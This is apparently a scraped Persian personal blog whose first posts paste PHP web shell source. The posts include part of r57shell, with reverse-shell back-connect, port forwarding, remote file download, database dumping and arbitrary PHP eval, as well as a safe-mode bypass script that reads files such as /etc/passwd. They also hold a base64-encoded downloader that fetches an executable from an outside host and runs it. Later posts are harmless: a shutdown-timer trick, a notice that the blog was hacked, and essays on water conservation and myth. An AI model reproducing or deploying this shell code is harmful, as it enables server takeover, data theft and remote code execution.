cf("/tmp/back",$back_connect); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c); $blah = ex("gcc -o /tmp/backc /tmp/back.c"); @unlink("/tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); $_POST['cmd']="ps -aux | grep dp"; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) { cf("/tmp/dpc.c",$datapipe_c); $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); @unlink("/tmp/dpc.c"); $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); $_POST['cmd']="ps -aux | grep dpc"; } if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} if (!empty($HTTP_POST_FILES['userfile']['name'])) { if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } else { $nfn = $HTTP_POST_FILES['userfile']['name']; } @copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['dir']."/".$nfn) or print("Error uploading file ".$HTTP_POST_FILES['userfile']['name'].""); } if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) { switch($_POST['with']) { case wget: $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; break; case fetch: $_POST['cmd'] = which('fetch')." -p ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; case lynx: $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case links: $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case GET: $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case curl: $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; } } echo $table_up3; if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } echo $font.$lang[$language.'_text1'].": ".$_POST['cmd'].""; if($safe_mode) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir); if ($d) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; @clearstatcache(); list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if($windows){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo " "; else printf("% 7s ",$size); } else{ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); echo $inode." "; echo perms(@fileperms($file)); printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo date("d.m.Y H:i ",$mtime); } echo "$file\n"; } $d->close(); } else echo $lang[$language._text29]; break; case 'safe_file': if(@is_file($_POST['file'])) { $file = @file($_POST['file']); if($file) { $c = @sizeof($file); for($i=0;$i","",$eval); @eval($eval);} if ($_POST['cmd']=="db_show") { switch($_POST['db']) { case 'MySQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { $res=@mysql_query("SHOW DATABASES", $db); while(($row=@mysql_fetch_row($res))) { echo "[+] ".$row[0]."\r\n"; if(isset($_POST['st'])){ $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); while(($row2=@mysql_fetch_row($res2))) { echo " | - ".$row2[0]."\r\n"; if(isset($_POST['sc'])) { $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } } } } } @mysql_close($db); } else echo "[-] HATA! MySQL Server ile Baglanti Kurulamiyor..."; break; case 'MSSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { $res=@mssql_query("sp_databases", $db); while(($row=@mssql_fetch_row($res))) { echo "[+] ".$row[0]."\r\n"; if(isset($_POST['st'])){ @mssql_select_db($row[0]); $res2 = @mssql_query("sp_tables",$db); while(($row2=@mssql_fetch_array($res2))) { if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') { echo " | - ".$row2['TABLE_NAME']."\r\n"; if(isset($_POST['sc'])) { $res3 = @mssql_query("sp_columns ".$row2[2],$db); while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } } } } } } @mssql_close($db); } else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor"; break; case 'PostgreSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; $db = @pg_connect($str); if($db) { $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); while(($row=@pg_fetch_row($res))) { echo "[+] ".$row[0]."\r\n"; } @pg_close($db); } else echo "[-]HATA! MysQl Server ile baglanti Kurulamiyor"; break; } } if ($_POST['cmd']=="mysql_dump") { if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ $sqh = "# homepage: http://\r\n"; $sqh .= "# ---------------------------------\r\n"; $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; $sqh .= "# ---------------------------------\r\n\r\n"; switch($_POST['db']){ case 'MySQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(@mysql_select_db($_POST['mysql_db'],$db)) { $sql1 = "# MySQL dump created by r57shell\r\n"; $sql1 .= $sqh; $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); $row = @mysql_fetch_row($res); $sql1 .= $row[1]."\r\n\r\n"; $sql1 .= "# ---------------------------------\r\n\r\n"; $sql2 = ''; $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); if (@mysql_num_rows($res) > 0) { while (($row = @mysql_fetch_assoc($res))) { $keys = @implode("`, `", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = @implode("', '", $values); $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; } $sql2 .= "\r\n# ---------------------------------"; } if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } else { echo $sql1.$sql2; } } else echo "[-] HATA! Database Secilemedi"; @mysql_close($db); } else echo "[-] HATA! MysQl Server ile baglanti Kurulamiyor"; break; case 'MSSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(@mssql_select_db($_POST['mysql_db'],$db)) { $sql1 = "# MSSQL dump created by r57shell\r\n"; $sql1 .= $sqh; $sql2 = ''; $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); if (@mssql_num_rows($res) > 0) { while (($row = @mssql_fetch_assoc($res))) { $keys = @implode(", ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = @implode("', '", $values); $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; } $sql2 .= "\r\n# ---------------------------------"; } if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } else { echo $sql1.$sql2; } } else echo "[-] HATA! Database ile baglanti kurulamiyor"; @mssql_close($db); } else echo "[-] HATA! MssQl Server ile baglanti Kurulamiyor"; break; case 'PostgreSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; $db = @pg_connect($str); if($db) { $sql1 = "# PostgreSQL dump created by r57shell\r\n"; $sql1 .= $sqh; $sql2 = ''; $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); if (@pg_num_rows($res) > 0) { while (($row = @pg_fetch_assoc($res))) { $keys = @implode(", ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = @implode("', '", $values); $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; } $sql2 .= "\r\n# ---------------------------------"; } if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } else { echo $sql1.$sql2; } @pg_close($db); } else echo "[-]HATA! PostgreSQL Server ile baglanti Kurulamiyor"; break; } } else if(!empty($_POST['dif'])&&!$fp) { echo "[-] HATA! Dump dosyalari yazilabilir degil"; } } echo ""; echo ""; echo ""; echo ""; if(!$safe_mode){ echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','cmd',85,'')); echo sr(15,"".$lang[$language.'_text4'].$arrow."",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.$table_end1.$fe; } else{ echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text4'].$arrow."",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); echo $te.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text43'].$arrow."",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); echo $te.$table_end1.$fe; if($safe_mode){ echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text58'].$arrow."",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']."".$lang[$language.'_text66']."".ws(3)."".$lang[$language.'_text59']."".$lang[$language.'_text60']."".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); echo $te.$table_end1.$fe; } if($safe_mode && $unix){ echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text68'].$arrow."","CHMODCHOWNCHGRP".ws(2)."".$lang[$language.'_text69'].$arrow."".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow."".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.$table_end1.$fe; } if(!$safe_mode){ foreach ($aliases as $alias_name=>$alias_cmd) { $aliases2 .= "$alias_name"; } echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."","".$aliases2."".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); echo $te.$table_end1.$fe; } echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text52'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"".$lang[$language.'_text53'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); echo sr(15,"".$lang[$language.'_text55'].$arrow."",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); echo $te.$table_end1.$fe; echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text72'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); echo sr(15,"".$lang[$language.'_text73'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); echo sr(15,"".$lang[$language.'_text74'].$arrow."",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); echo $te.$table_end1.$fe; echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; echo ""; echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); echo ""; echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); echo "".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); echo ""; echo $table_end1.$fe; if($safe_mode&&$curl_on) { echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.$table_end1.$fe; } if($safe_mode) { echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; echo ""; echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.$table_end1.$fe; } if($safe_mode&&$mysql_on) { echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.$table_end1.$fe; } if($safe_mode&&$mssql_on) { echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.$table_end1.$fe; } if(@ini_get('file_uploads')){ echo ""; echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text6'].$arrow."",in('file','userfile',85,'')); echo sr(15,"".$lang[$language.'_text21'].$arrow."",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.$table_end1.$fe; } if(!$safe_mode&&!$windows){ echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; echo sr(15,"".$lang[$language.'_text16'].$arrow."","wgetfetchlynxlinkscurlGET".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow."".in('text','rem_file',78,'http://')); echo sr(15,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.$table_end1.$fe; } if($mysql_on||$mssql_on||$pg_on||$ora_on) { echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."".$fs."".$ts; echo "".$lang[$language.'_text77'].""; echo sr(45,"".$lang[$language.'_text80'].$arrow."","MySQLMSSQLPostgreSQL"); echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(45,"".$lang[$language.'_text78'].$arrow."",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); echo sr(45,"".$lang[$language.'_text79'].$arrow."",in('checkbox','sc id=sc',0,'1')); echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); echo $te."".$fe.$fs."".$ts; echo "".$lang[$language.'_text40'].""; echo sr(45,"".$lang[$language.'_text80'].$arrow."","MySQLMSSQLPostgreSQL"); echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(45,"".$lang[$language.'_text39'].$arrow."",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow."",in('checkbox','dif id=dif',0,'1')); echo sr(45,"".$lang[$language.'_text59'].$arrow."",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); echo $te."".$fe.$fs."".$ts; echo "".$lang[$language.'_text83'].""; echo sr(45,"".$lang[$language.'_text80'].$arrow."","MySQLMSSQLPostgreSQLOracle"); echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); echo sr(45,"".$lang[$language.'_text84'].$arrow."".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."".in('submit','submit',0,$lang[$language.'_butt1'])."".$fe.""; } if(!$safe_mode&&!$windows){ echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."".$fs."".$ts; echo "".$lang[$language.'_text9'].""; echo sr(40,"".$lang[$language.'_text10'].$arrow."",in('text','port',15,'11457')); echo sr(40,"".$lang[$language.'_text11'].$arrow."",in('text','bind_pass',15,'r57')); echo sr(40,"".$lang[$language.'_text20'].$arrow."","PerlC".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); echo $te."".$fe.$fs."".$ts; echo "".$lang[$language.'_text12'].""; echo sr(40,"".$lang[$language.'_text13'].$arrow."",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); echo sr(40,"".$lang[$language.'_text14'].$arrow."",in('text','port',15,'11457')); echo sr(40,"".$lang[$language.'_text20'].$arrow."","PerlC".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); echo $te."".$fe.$fs."".$ts; echo "".$lang[$language.'_text22'].""; echo sr(40,"".$lang[$language.'_text23'].$arrow."",in('text','local_port',15,'11457')); echo sr(40,"".$lang[$language.'_text24'].$arrow."",in('text','remote_host',15,'irc.dalnet.ru')); echo sr(40,"".$lang[$language.'_text25'].$arrow."",in('text','remote_port',15,'6667')); echo sr(40,"".$lang[$language.'_text26'].$arrow."","datapipe.pldatapipe.c".in('hidden','dir',0,$dir)); echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); echo $te."".$fe.""; } ?>
+ نوشته شده در  پنجشنبه هفتم دی 1391ساعت 9:12  توسط سید جواد موسویان  | 

!Safe Mode Shell v1.0!

*/ echo "Safe Mode Shell"; $tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} echo("Safe-mode: $hsafemode"); $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} echo("
"); echo("Open base dir: $hopenbasedir"); echo("
"); echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "
\n";
if(empty($file)){
if(empty($_GET['file'])){
if(empty($_POST['file'])){
die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n 
PHP Emperor xb5@hotmail.com
"); } else { $file=$_POST['file']; } } else { $file=$_GET['file']; } } $temp=tempnam($tymczas, "cx"); if(copy("compress.zlib://".$file, $temp)){ $zrodlo = fopen($temp, "r"); $tekst = fread($zrodlo, filesize($temp)); fclose($zrodlo); echo "--- Start File ".htmlspecialchars($file)." -------------\n".htmlspecialchars($tekst)."\n--- End File ".htmlspecialchars($file)." ---------------\n"; unlink($temp); die("\nFile ".htmlspecialchars($file)." has been already loaded. PHP Emperor ;]"); } else { die("
Sorry... File ".htmlspecialchars($file)." dosen't exists or you don't have access.
"); } ?> ".base64_decode("PD9waHANCg0KLyoNCkxvY2FsaG9zdCBTb3JndXN1eiBEb3dubG9hZGVyICUxMDAgRlVEDQpLb2RsYXlhbiA6IE1peWFDaHVuZw0KTWl5YUNodW5nQGhvdG1haWwuY29tDQoqLw0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywxKTsNCg0KJGZwID0gZm9wZW4gKCdDOi9kaWUuZXhlJywgJ3crJyk7IC8vIEJ1cmF5/SBFeGVuaXppbiBpc21pbmUgZ/ZyZSBkZWdpc3RpcmluDQokY2ggPSBjdXJsX2luaXQoJ2h0dHA6Ly90aXlhdHJvc3BvcnUuY29tL2luY2x1ZGVzL2pzL2NhbGVuZGFyL2xhbmcvZGllLmV4ZScpOyAvLyBLZW5kaSBFeGUnbml6Lg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JBTkdFLCAiMC0zMDcyMDAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCmZjbG9zZSgkZnApOw0KDQppZigkZnApew0KQHNoZWxsX2V4ZWMoJ0M6L2RpZS5leGUnKTsgLy8gQnVyYXn9IEV4ZW5pemluIGlzbWluZSBn9nJlIGRlZ2lzdGlyaW4NCn0NCj8+")); ?>
+ نوشته شده در  پنجشنبه هفتم دی 1391ساعت 9:10  توسط سید جواد موسویان  | 

shell


+ نوشته شده در  پنجشنبه هفتم دی 1391ساعت 9:0  توسط سید جواد موسویان  | 

+ نوشته شده در  پنجشنبه هفتم دی 1391ساعت 8:59  توسط سید جواد موسویان  | 

fun3

یه ترفند با حال!!


استارت رو بزنید و تو run اینو تایپ کنید

shutdown -s -t 3600

واینتر رو بزنید سیستم تا یک ساعته دیگه خاموش می شه

به جای 3600 زمان دلخواهتون رو به ثانیه وارد کنید

خنثی کردن:shutdown -a

+ نوشته شده در  سه شنبه پنجم اردیبهشت 1391ساعت 0:4  توسط سید جواد موسویان  | 

fun2

هر کی انگلیسی اون مقاله رو خواست دانلود کنه!@!@!


download

+ نوشته شده در  دوشنبه چهارم اردیبهشت 1391ساعت 23:57  توسط سید جواد موسویان  | 

fun

ببخشید خیلی وقت بود اپ نکرده بودم و از این بابت از دوستان عذر خواهی می کنم 


ادامه مطلب
+ نوشته شده در  دوشنبه چهارم اردیبهشت 1391ساعت 23:51  توسط سید جواد موسویان  | 

افتخار

افتخار می کنیم که ایرانی هستیم و این که جدایی نادر از سیمین اسکار گرفت 
+ نوشته شده در  دوشنبه هشتم اسفند 1390ساعت 16:49  توسط سید جواد موسویان  | 

باز پس گرفته شد

این وبلاگ از دیروز هک شده بود ولی ما اونو امروز پس گرفتیمش 

+ نوشته شده در  یکشنبه هفتم اسفند 1390ساعت 17:34  توسط سید جواد موسویان  | 

hacker

این وبلاگ هک شد برای پس گیری ان با sasghost@gmail.com تماس بگیرید مهلت 12 ساعت 




از طرف هکر بزرگ hero

+ نوشته شده در  یکشنبه هفتم اسفند 1390ساعت 14:58  توسط سید جواد موسویان  | 

دو وبلاگ

لطفا به این دو وبلاگ سر بزنید

www.shahpopo.blogfa.com

www.amirrezakavian.blogfa.com

+ نوشته شده در  سه شنبه دوم اسفند 1390ساعت 22:46  توسط سید جواد موسویان  | 

تقدّس آب بر اساس اساطیر ایران و جهان و بازتاب آن در شاهنامه ی فردوسی

واژه ی اسطوره کلمه ای معرّب است که از واژه ی یونانی هیستوریاHistoria به معنی جستجو ،آگاهی،و داستان گرفته شده است.در فهم عامه در برخی از فرهنگ ها،اسطوره معنی<<آنچه خیالی و غیر واقعی است و جنبه ی افسانه ای محض دارد یافته است امّا اسطوره را باید داستان سرگذشتی <<مینوی>>دانست که معمولا اصل آن معلوم نیست و شرح عمل،عقیده،نهاد یا پدیده ای طبیعی است به صورت فراسویی که دست کم  بخشی از آن سنت ها و روایت ها گرفته شده،با آئین ها و عقاید دینی پیوندی نا گسستنی دارد.

ادامه مطلب
+ نوشته شده در  یکشنبه سی ام بهمن 1390ساعت 13:34  توسط امیررضا کاویان مهر  | 

لوگو

یک لوگو(نه لگو)ساختم اینم عکسش


water helper
كد لوگوي ما
+ نوشته شده در  شنبه بیست و نهم بهمن 1390ساعت 0:15  توسط سید جواد موسویان  | 

صرفه جویی در مصرف آب

صرفه جویی در مصرف آب

آب زیر بنای سلامتی و حیات انسان است. وقتی شیر آب را در خانه باز می کنید و آب سرد و زلالی جاری می شود ، کمتر به کمبود آن فکر می کنید.

